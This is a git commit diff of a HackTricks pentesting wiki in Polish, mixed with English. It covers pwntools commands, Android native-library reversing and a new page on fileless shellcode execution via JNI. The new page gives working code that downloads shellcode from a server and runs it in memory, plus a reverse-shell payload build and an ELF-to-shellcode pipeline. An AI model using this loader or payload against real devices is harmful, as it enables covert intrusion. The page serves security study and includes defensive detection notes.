mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/in-memory-jni-
This commit is contained in:
parent
05fa018f00
commit
9e4d00519d
@ -353,6 +353,7 @@
|
|||||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||||
|
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
|
||||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||||
|
@ -13,10 +13,10 @@ pwn asm -i <filepath>
|
|||||||
```
|
```
|
||||||
**Można wybrać:**
|
**Można wybrać:**
|
||||||
|
|
||||||
- typ wyjścia (raw, hex, string, elf)
|
- typ wyjścia (raw,hex,string,elf)
|
||||||
- kontekst pliku wyjściowego (16, 32, 64, linux, windows...)
|
- kontekst pliku wyjściowego (16,32,64,linux,windows...)
|
||||||
- unikać bajtów (nowe linie, null, lista)
|
- unikać bajtów (new lines, null, a list)
|
||||||
- wybrać kodowanie debug shellcode używając gdb uruchom wyjście
|
- wybierz encoder, debuguj shellcode przy użyciu gdb, uruchom wynik
|
||||||
|
|
||||||
## **Pwn checksec**
|
## **Pwn checksec**
|
||||||
|
|
||||||
@ -28,17 +28,17 @@ pwn checksec <executable>
|
|||||||
|
|
||||||
## Pwn cyclic
|
## Pwn cyclic
|
||||||
|
|
||||||
Uzyskaj wzór
|
Pobierz pattern
|
||||||
```
|
```
|
||||||
pwn cyclic 3000
|
pwn cyclic 3000
|
||||||
pwn cyclic -l faad
|
pwn cyclic -l faad
|
||||||
```
|
```
|
||||||
**Można wybrać:**
|
**Możesz wybrać:**
|
||||||
|
|
||||||
- Używany alfabet (domyślnie małe litery)
|
- Używany alfabet (domyślnie małe litery)
|
||||||
- Długość unikalnego wzoru (domyślnie 4)
|
- Długość unikalnego wzorca (domyślnie 4)
|
||||||
- kontekst (16,32,64,linux,windows...)
|
- kontekst (16,32,64,linux,windows...)
|
||||||
- Weź offset (-l)
|
- Podaj offset (-l)
|
||||||
|
|
||||||
## Pwn debug
|
## Pwn debug
|
||||||
|
|
||||||
@ -50,31 +50,31 @@ pwn debug --process bash
|
|||||||
```
|
```
|
||||||
**Można wybrać:**
|
**Można wybrać:**
|
||||||
|
|
||||||
- Według pliku wykonywalnego, według nazwy lub według kontekstu pid (16,32,64,linux,windows...)
|
- Według executable, według nazwy lub według pid context (16,32,64,linux,windows...)
|
||||||
- gdbscript do wykonania
|
- gdbscript do uruchomienia
|
||||||
- sysrootpath
|
- sysrootpath
|
||||||
|
|
||||||
## Pwn disablenx
|
## Pwn disablenx
|
||||||
|
|
||||||
Wyłącz nx w binarnym
|
Wyłącz nx dla binary
|
||||||
```
|
```
|
||||||
pwn disablenx <filepath>
|
pwn disablenx <filepath>
|
||||||
```
|
```
|
||||||
## Pwn disasm
|
## Pwn disasm
|
||||||
|
|
||||||
Disas hex opcodes
|
Disasembluje hex opcodes
|
||||||
```
|
```
|
||||||
pwn disasm ffe4
|
pwn disasm ffe4
|
||||||
```
|
```
|
||||||
**Można wybrać:**
|
**Można wybrać:**
|
||||||
|
|
||||||
- kontekst (16,32,64,linux,windows...)
|
- context (16,32,64,linux,windows...)
|
||||||
- adres bazowy
|
- adres bazowy
|
||||||
- kolor(domyslny)/bez koloru
|
- kolor (domyślny)/bez koloru
|
||||||
|
|
||||||
## Pwn elfdiff
|
## Pwn elfdiff
|
||||||
|
|
||||||
Wydrukuj różnice między 2 plikami
|
Wyświetla różnice między 2 plikami
|
||||||
```
|
```
|
||||||
pwn elfdiff <file1> <file2>
|
pwn elfdiff <file1> <file2>
|
||||||
```
|
```
|
||||||
@ -86,14 +86,14 @@ pwn hex hola #Get hex of "hola" ascii
|
|||||||
```
|
```
|
||||||
## Pwn phd
|
## Pwn phd
|
||||||
|
|
||||||
Uzyskaj hexdump
|
Pobierz hexdump
|
||||||
```
|
```
|
||||||
pwn phd <file>
|
pwn phd <file>
|
||||||
```
|
```
|
||||||
**Można wybrać:**
|
**Można wybrać:**
|
||||||
|
|
||||||
- Liczba bajtów do wyświetlenia
|
- Liczba bajtów do wyświetlenia
|
||||||
- Liczba bajtów na linię podświetlająca bajt
|
- Liczba bajtów na linię; bajt do podświetlenia
|
||||||
- Pomiń bajty na początku
|
- Pomiń bajty na początku
|
||||||
|
|
||||||
## Pwn pwnstrip
|
## Pwn pwnstrip
|
||||||
@ -102,7 +102,7 @@ pwn phd <file>
|
|||||||
|
|
||||||
## Pwn shellcraft
|
## Pwn shellcraft
|
||||||
|
|
||||||
Pobierz shellcode'y
|
Pobierz shellcodes
|
||||||
```
|
```
|
||||||
pwn shellcraft -l #List shellcodes
|
pwn shellcraft -l #List shellcodes
|
||||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||||
@ -112,37 +112,70 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
|||||||
```
|
```
|
||||||
**Można wybrać:**
|
**Można wybrać:**
|
||||||
|
|
||||||
- shellcode i argumenty dla shellcode
|
- shellcode i jego argumenty
|
||||||
- Plik wyjściowy
|
- plik wyjściowy
|
||||||
- format wyjścia
|
- format wyjścia
|
||||||
- debug (dołącz dbg do shellcode)
|
- debug (attach dbg do shellcode)
|
||||||
- przed (pułapka debugowania przed kodem)
|
- before (debug trap przed kodem)
|
||||||
- po
|
- after
|
||||||
- unikaj używania opkodów (domyślnie: nie null i nowa linia)
|
- avoid using opcodes (domyślnie: bez null i new line)
|
||||||
- Uruchom shellcode
|
- Uruchom shellcode
|
||||||
- Kolor/brak koloru
|
- Kolor/bez koloru
|
||||||
- lista syscalls
|
- lista syscalls
|
||||||
- lista możliwych shellcode'ów
|
- lista możliwych shellcodes
|
||||||
- Generuj ELF jako bibliotekę współdzieloną
|
- Wygeneruj ELF jako bibliotekę współdzieloną
|
||||||
|
|
||||||
## Szablon Pwn
|
## Szablon Pwn
|
||||||
|
|
||||||
Pobierz szablon Pythona
|
Pobierz pythonowy szablon
|
||||||
```
|
```
|
||||||
pwn template
|
pwn template
|
||||||
```
|
```
|
||||||
**Można wybrać:** host, port, użytkownik, hasło, ścieżka i cicho
|
**Można wybrać:** host, port, user, pass, path i quiet
|
||||||
|
|
||||||
## Pwn unhex
|
## Pwn unhex
|
||||||
|
|
||||||
Z hex na string
|
Z hex do stringu
|
||||||
```
|
```
|
||||||
pwn unhex 686f6c61
|
pwn unhex 686f6c61
|
||||||
```
|
```
|
||||||
## Pwn update
|
## Pwn aktualizacja
|
||||||
|
|
||||||
Aby zaktualizować pwntools
|
Aby zaktualizować pwntools
|
||||||
```
|
```
|
||||||
pwn update
|
pwn update
|
||||||
```
|
```
|
||||||
|
## ELF → raw shellcode packaging (loader_append)
|
||||||
|
|
||||||
|
Pwntools może przekształcić samodzielny ELF w pojedynczy raw shellcode blob, który sam mapuje swoje segmenty i przekazuje wykonanie do oryginalnego punktu wejścia. Jest to idealne dla memory‑only loaderów (np. aplikacje Android wywołujące JNI do wykonania pobranych bajtów).
|
||||||
|
|
||||||
|
Typical pipeline (amd64 example)
|
||||||
|
|
||||||
|
1) Zbuduj statyczny, niezależny od pozycji payload ELF (musl recommended for portability):
|
||||||
|
```bash
|
||||||
|
musl-gcc -O3 -s -static -o exploit exploit.c \
|
||||||
|
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||||
|
```
|
||||||
|
2) Konwertuj ELF → shellcode za pomocą pwntools:
|
||||||
|
```python
|
||||||
|
# exp2sc.py
|
||||||
|
from pwn import *
|
||||||
|
context.clear(arch='amd64')
|
||||||
|
elf = ELF('./exploit')
|
||||||
|
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
|
||||||
|
open('sc','wb').write(sc)
|
||||||
|
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
|
||||||
|
```
|
||||||
|
3) Dostarcz sc do loadera pamięci (np. przez HTTP[S]) i wykonaj w procesie.
|
||||||
|
|
||||||
|
Uwagi
|
||||||
|
- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.
|
||||||
|
- Określ wyraźnie architekturę za pomocą context.clear(arch=...). arm64 jest powszechny na Android.
|
||||||
|
- Utrzymuj kod payloadu niezależny od pozycji (position‑independent) i unikaj założeń dotyczących ASLR/NX procesu.
|
||||||
|
|
||||||
|
## Referencje
|
||||||
|
|
||||||
|
- [Pwntools](https://docs.pwntools.com/en/stable/)
|
||||||
|
- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,121 @@
|
|||||||
|
# Android Wykonanie natywnego kodu w pamięci via JNI (shellcode)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Ta strona dokumentuje praktyczny wzorzec wykonania natywnych payloadów całkowicie w pamięci z procesu nieufnej aplikacji Android przy użyciu JNI. Przepływ unika tworzenia jakiegokolwiek natywnego binarium na dysku: pobierz surowe bajty shellcode przez HTTP(S), przekaż je do mostka JNI, zaalokuj pamięć RX i skocz do niej.
|
||||||
|
|
||||||
|
Dlaczego to ważne
|
||||||
|
- Zmniejsza artefakty kryminalistyczne (brak ELF na dysku)
|
||||||
|
- Kompatybilne z “stage-2” native payloads generowanymi z ELF exploit binary
|
||||||
|
- Zgodne z tradecraft używanym przez nowoczesne malware i red teams
|
||||||
|
|
||||||
|
Schemat wysokiego poziomu
|
||||||
|
1) Pobierz bajty shellcode w Java/Kotlin
|
||||||
|
2) Wywołaj natywną metodę (JNI) z tablicą bajtów
|
||||||
|
3) W JNI: alokuj pamięć RW → skopiuj bajty → mprotect do RX → wywołaj entrypoint
|
||||||
|
|
||||||
|
Minimalny przykład
|
||||||
|
|
||||||
|
Java/Kotlin side
|
||||||
|
```java
|
||||||
|
public final class NativeExec {
|
||||||
|
static { System.loadLibrary("nativeexec"); }
|
||||||
|
public static native int run(byte[] sc);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Download and execute (simplified)
|
||||||
|
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
|
||||||
|
int rc = NativeExec.run(sc);
|
||||||
|
```
|
||||||
|
C — strona JNI (arm64/amd64)
|
||||||
|
```c
|
||||||
|
#include <jni.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
static inline void flush_icache(void *p, size_t len) {
|
||||||
|
__builtin___clear_cache((char*)p, (char*)p + len);
|
||||||
|
}
|
||||||
|
|
||||||
|
JNIEXPORT jint JNICALL
|
||||||
|
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
|
||||||
|
jsize len = (*env)->GetArrayLength(env, sc);
|
||||||
|
if (len <= 0) return -1;
|
||||||
|
|
||||||
|
// RW anonymous buffer
|
||||||
|
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||||
|
if (buf == MAP_FAILED) return -2;
|
||||||
|
|
||||||
|
jboolean isCopy = 0;
|
||||||
|
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
|
||||||
|
if (!bytes) { munmap(buf, len); return -3; }
|
||||||
|
|
||||||
|
memcpy(buf, bytes, len);
|
||||||
|
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
|
||||||
|
|
||||||
|
// Make RX and execute
|
||||||
|
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
|
||||||
|
flush_icache(buf, len);
|
||||||
|
|
||||||
|
int (*entry)(void) = (int (*)(void))buf;
|
||||||
|
int ret = entry();
|
||||||
|
|
||||||
|
// Optional: restore RW and wipe
|
||||||
|
mprotect(buf, len, PROT_READ | PROT_WRITE);
|
||||||
|
memset(buf, 0, len);
|
||||||
|
munmap(buf, len);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Uwagi i zastrzeżenia
|
||||||
|
- W^X/execmem: Nowoczesny Android egzekwuje W^X; anonimowe mapowania PROT_EXEC są nadal zwykle dozwolone dla procesów aplikacji z JIT (z zastrzeżeniem polityki SELinux). Niektóre urządzenia/ROMy to ograniczają; w razie potrzeby cofnij się do JIT-allocated exec pools lub native bridges.
|
||||||
|
- Architektury: Upewnij się, że architektura shellcode odpowiada urządzeniu (zwykle arm64-v8a; x86 tylko na emulatorach).
|
||||||
|
- Kontrakt punktu wejścia: Ustal konwencję wejścia dla shellcode (bez argumentów vs wskaźnik do struktury). Zachowaj go niezależnym od pozycji (PIC).
|
||||||
|
- Stabilność: Wyczyść cache instrukcji przed skokiem; niezgodny cache może spowodować crash na ARM.
|
||||||
|
|
||||||
|
Packaging ELF → shellcode niezależny od pozycji
|
||||||
|
Solidny pipeline operatorski wygląda następująco:
|
||||||
|
- Zbuduj swój exploit jako statyczny ELF za pomocą musl-gcc
|
||||||
|
- Konwertuj ELF na self‑loading shellcode blob używając pwntools’ shellcraft.loader_append
|
||||||
|
|
||||||
|
Kompilacja
|
||||||
|
```bash
|
||||||
|
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
|
||||||
|
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||||
|
```
|
||||||
|
Przekształć ELF w surowy shellcode (przykład amd64)
|
||||||
|
```python
|
||||||
|
# exp2sc.py
|
||||||
|
from pwn import *
|
||||||
|
context.clear(arch='amd64')
|
||||||
|
elf = ELF('./exploit')
|
||||||
|
loader = shellcraft.loader_append(elf.data, arch='amd64')
|
||||||
|
sc = asm(loader)
|
||||||
|
open('sc','wb').write(sc)
|
||||||
|
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
|
||||||
|
```
|
||||||
|
Dlaczego loader_append działa: emituje mały loader, który mapuje osadzone segmenty programu ELF w pamięci i przekazuje kontrolę do jego punktu wejścia, dając pojedynczy surowy blob, który można skopiować za pomocą memcpy i wykonać w aplikacji.
|
||||||
|
|
||||||
|
Dostarczenie
|
||||||
|
- Hostuj sc na serwerze HTTP(S) pod twoją kontrolą
|
||||||
|
- Aplikacja z backdoorem/testowa pobiera sc i wywołuje pokazany powyżej JNI bridge
|
||||||
|
- Nasłuchuj na maszynie operatora na wszelkie połączenia odwrotne, które payload kernelowy lub user-mode nawiąże
|
||||||
|
|
||||||
|
Proces walidacji dla payloadów jądra
|
||||||
|
- Użyj symbolizowanego vmlinux dla szybkiego reversing/odzyskiwania offsetów
|
||||||
|
- Prototypuj prymitywy na wygodnym obrazie debugowym, jeśli dostępny, ale zawsze ponownie waliduj na docelowym urządzeniu z Androidem (kallsyms, KASLR slide, układ tablic stron i mitigacje mogą się różnić)
|
||||||
|
|
||||||
|
Utwardzanie/Detekcja (blue team)
|
||||||
|
- Zabroń anonimowego PROT_EXEC w domenach aplikacji tam, gdzie to możliwe (polityka SELinux)
|
||||||
|
- Wymuszaj ścisłą integralność kodu (brak dynamicznego ładowania natywnych bibliotek z sieci) i weryfikuj kanały aktualizacji
|
||||||
|
- Monitoruj podejrzane przejścia mmap/mprotect do RX oraz duże kopiowania tablic bajtów poprzedzające skoki
|
||||||
|
|
||||||
|
Referencje
|
||||||
|
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
|
||||||
|
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
|
||||||
|
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
|
||||||
|
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
|
||||||
|
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,42 +1,42 @@
|
|||||||
# Analiza bibliotek natywnych
|
# Reversing Native Libraries
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
**Więcej informacji:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
**Więcej informacji:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||||
|
|
||||||
Aplikacje Android mogą używać bibliotek natywnych, zwykle napisanych w C lub C++, do zadań krytycznych pod względem wydajności. Twórcy malware także nadużywają tych bibliotek, ponieważ ELF shared objects wciąż są trudniejsze do dekompilacji niż DEX/OAT byte-code.
|
Aplikacje Android mogą używać natywnych bibliotek, zwykle napisanych w C lub C++, do zadań krytycznych pod względem wydajności. Malware creators również nadużywają tych bibliotek, ponieważ ELF shared objects wciąż trudniej zdekompilować niż DEX/OAT byte-code.
|
||||||
Ta strona koncentruje się na *praktycznych* workflowach i *najnowszych* udoskonaleniach narzędzi (2023–2025), które ułatwiają reversing Androidowych plików `.so`.
|
Ta strona koncentruje się na *praktycznych* przepływach pracy i *niedawnych* usprawnieniach narzędzi (2023–2025), które ułatwiają reversing Android `.so` files.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Szybki proces wstępnej analizy dla świeżo pozyskanego `libfoo.so`
|
### Szybki triage — przepływ pracy dla świeżo pobranego `libfoo.so`
|
||||||
|
|
||||||
1. **Extract the library**
|
1. **Wyodrębnij bibliotekę**
|
||||||
```bash
|
```bash
|
||||||
# From an installed application
|
# From an installed application
|
||||||
adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
|
adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
|
||||||
# Or from the APK (zip)
|
# Or from the APK (zip)
|
||||||
unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
|
unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
|
||||||
```
|
```
|
||||||
2. **Identify architecture & protections**
|
2. **Zidentyfikuj architekturę i zabezpieczenia**
|
||||||
```bash
|
```bash
|
||||||
file libfoo.so # arm64 or arm32 / x86
|
file libfoo.so # arm64 or arm32 / x86
|
||||||
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
|
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
|
||||||
checksec --file libfoo.so # (peda/pwntools)
|
checksec --file libfoo.so # (peda/pwntools)
|
||||||
```
|
```
|
||||||
3. **List exported symbols & JNI bindings**
|
3. **Wypisz eksportowane symbole i powiązania JNI**
|
||||||
```bash
|
```bash
|
||||||
readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
|
readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
|
||||||
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
|
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
|
||||||
```
|
```
|
||||||
4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis.
|
4. **Wczytaj do dekompilera** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) i uruchom automatyczną analizę.
|
||||||
Newer Ghidra versions introduced an AArch64 decompiler that recognises PAC/BTI stubs and MTE tags, greatly improving analysis of libraries built with the Android 14 NDK.
|
Nowsze wersje Ghidra wprowadziły dekompiler AArch64, który rozpoznaje PAC/BTI stubs i MTE tags, znacznie poprawiając analizę bibliotek skompilowanych przy użyciu Android 14 NDK.
|
||||||
5. **Decide on static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB).
|
5. **Zdecyduj o static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Instrumentacja dynamiczna (Frida ≥ 16)
|
### Dynamic Instrumentation (Frida ≥ 16)
|
||||||
|
|
||||||
Frida’s 16-series brought several Android-specific improvements that help when the target uses modern Clang/LLD optimisations:
|
Frida’s 16-series brought several Android-specific improvements that help when the target uses modern Clang/LLD optimisations:
|
||||||
|
|
||||||
@ -61,22 +61,22 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Frida będzie działać od razu na urządzeniach z PAC/BTI (Pixel 8/Android 14+), o ile użyjesz frida-server 16.2 lub nowszej – wcześniejsze wersje nie potrafiły zlokalizować paddingu dla inline hooks.
|
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
|
||||||
|
|
||||||
### Process-local JNI telemetry via preloaded .so (SoTap)
|
### Lokalna telemetria JNI w procesie przez preładowane .so (SoTap)
|
||||||
|
|
||||||
Gdy pełna instrumentacja jest przesadą lub zablokowana, nadal możesz uzyskać widoczność na poziomie native, preładowując mały logger wewnątrz docelowego procesu. SoTap to lekka natywna biblioteka Android (.so), która loguje zachowanie w czasie wykonywania innych bibliotek JNI (.so) w tym samym procesie aplikacji (nie wymaga root).
|
Gdy pełna instrumentacja jest przesadą lub zablokowana, nadal możesz uzyskać widoczność na poziomie natywnym przez wstępne załadowanie małego loggera wewnątrz docelowego procesu. SoTap to lekka natywna biblioteka Android (.so), która loguje zachowanie w czasie wykonywania innych bibliotek JNI (.so) w tym samym procesie aplikacji (nie wymaga uprawnień root).
|
||||||
|
|
||||||
Key properties:
|
Kluczowe właściwości:
|
||||||
- Inicjalizuje się wcześnie i obserwuje JNI/native interactions wewnątrz procesu, który ją ładuje.
|
- Inicjalizuje się wcześnie i obserwuje JNI/native interactions wewnątrz procesu, który ją ładuje.
|
||||||
- Przechowuje logi, używając wielu zapisywalnych ścieżek z awaryjnym przełączeniem na Logcat, gdy dostęp do pamięci jest ograniczony.
|
- Przechowuje logi przy użyciu wielu zapisywalnych ścieżek z zapasowym przejściem do Logcat, gdy pamięć jest ograniczona.
|
||||||
- Source-customizable: edytuj sotap.c, aby rozszerzyć/dostosować co jest logowane i przebuduj per ABI.
|
- Możliwość modyfikacji źródła: edytuj sotap.c, aby rozszerzyć/dostosować, co jest logowane, i przebuduj dla każdego ABI.
|
||||||
|
|
||||||
Setup (repack the APK):
|
Setup (repack the APK):
|
||||||
1) Umieść właściwy build ABI w APK, aby loader mógł rozwiązać libsotap.so:
|
1) Wstaw odpowiednią kompilację ABI do APK, aby loader mógł rozwiązać libsotap.so:
|
||||||
- lib/arm64-v8a/libsotap.so (dla arm64)
|
- lib/arm64-v8a/libsotap.so (dla arm64)
|
||||||
- lib/armeabi-v7a/libsotap.so (dla arm32)
|
- lib/armeabi-v7a/libsotap.so (dla arm32)
|
||||||
2) Upewnij się, że SoTap ładuje się przed innymi bibliotekami JNI. Wstrzyknij wywołanie wcześnie (np. statyczny initializer podklasy Application lub onCreate), aby logger był zainicjalizowany jako pierwszy. Przykład fragmentu Smali:
|
2) Upewnij się, że SoTap ładuje się przed innymi bibliotekami JNI. Wstrzyknij wywołanie wcześnie (np. Application subclass static initializer lub onCreate), aby logger został zainicjalizowany pierwszy. Smali snippet example:
|
||||||
```smali
|
```smali
|
||||||
const-string v0, "sotap"
|
const-string v0, "sotap"
|
||||||
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||||
@ -92,45 +92,56 @@ Log paths (checked in order):
|
|||||||
# If all fail: fallback to Logcat only
|
# If all fail: fallback to Logcat only
|
||||||
```
|
```
|
||||||
Notes and troubleshooting:
|
Notes and troubleshooting:
|
||||||
- Wyrównanie ABI jest obowiązkowe. Brak dopasowania spowoduje UnsatisfiedLinkError i logger nie załaduje się.
|
- ABI alignment is mandatory. A mismatch will raise UnsatisfiedLinkError and the logger won’t load.
|
||||||
- Ograniczenia przestrzeni dyskowej są powszechne w nowoczesnym Androidzie; jeśli zapisy plików zawiodą, SoTap będzie nadal wysyłać przez Logcat.
|
- Storage constraints are common on modern Android; if file writes fail, SoTap will still emit via Logcat.
|
||||||
- Zachowanie/poziom szczegółowości jest przeznaczony do dostosowania; po edycji pliku sotap.c odbuduj z źródeł.
|
- Behavior/verbosity is intended to be customized; rebuild from source after editing sotap.c.
|
||||||
|
|
||||||
This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available.
|
This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Najnowsze podatności, które warto wyszukiwać w APK
|
### Zobacz także: in‑memory native code execution via JNI
|
||||||
|
|
||||||
| Rok | CVE | Biblioteka | Uwagi |
|
A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
in-memory-jni-shellcode-execution.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Recent vulnerabilities worth hunting for in APKs
|
||||||
|
|
||||||
|
| Rok | CVE | Biblioteka dotknięta | Uwagi |
|
||||||
|------|-----|------------------|-------|
|
|------|-----|------------------|-------|
|
||||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Przepełnienie bufora sterty dostępne z poziomu natywnego kodu dekodującego obrazy WebP. Wiele aplikacji Android dołącza podatne wersje. Gdy zobaczysz `libwebp.so` w APK, sprawdź jej wersję i spróbuj exploitowania lub załatania.| |
|
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| |
|
||||||
|2024|Multiple|OpenSSL 3.x series|Kilka problemów związanych z bezpieczeństwem pamięci oraz padding-oracle. Wiele bundli Flutter & ReactNative dostarcza własne `libcrypto.so`.|
|
|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
|
||||||
|
|
||||||
Gdy zauważysz *third-party* `.so` pliki w APK, zawsze porównaj ich hash z upstream advisories. SCA (Software Composition Analysis) jest rzadko stosowane na urządzeniach mobilnych, więc przestarzałe, podatne buildy są powszechne.
|
When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Trendy Anti-Reversing i Hardening (Android 13-15)
|
### Anti-Reversing & Hardening trends (Android 13-15)
|
||||||
|
|
||||||
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 włącza PAC/BTI w bibliotekach systemowych na obsługiwanym sprzęcie ARMv8.3+. Dekompilery teraz pokazują pseudo-instrukcje związane z PAC; dla analizy dynamicznej Frida wstrzykuje trampoliny *po* usunięciu PAC, ale twoje niestandardowe trampoliny powinny wywoływać `pacda`/`autibsp` tam, gdzie to konieczne.
|
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 enables PAC/BTI in system libraries on supported ARMv8.3+ silicon. Decompilers now display PAC‐related pseudo-instructions; for dynamic analysis Frida injects trampolines *after* stripping PAC, but your custom trampolines should call `pacda`/`autibsp` where necessary.
|
||||||
* **MTE & Scudo hardened allocator:** memory-tagging jest opcjonalne, ale wiele aplikacji świadomych Play-Integrity buduje się z `-fsanitize=memtag`; użyj `setprop arm64.memtag.dump 1` oraz `adb shell am start ...` aby przechwycić błędy tagów.
|
* **MTE & Scudo hardened allocator:** memory-tagging is opt-in but many Play-Integrity aware apps build with `-fsanitize=memtag`; use `setprop arm64.memtag.dump 1` plus `adb shell am start ...` to capture tag faults.
|
||||||
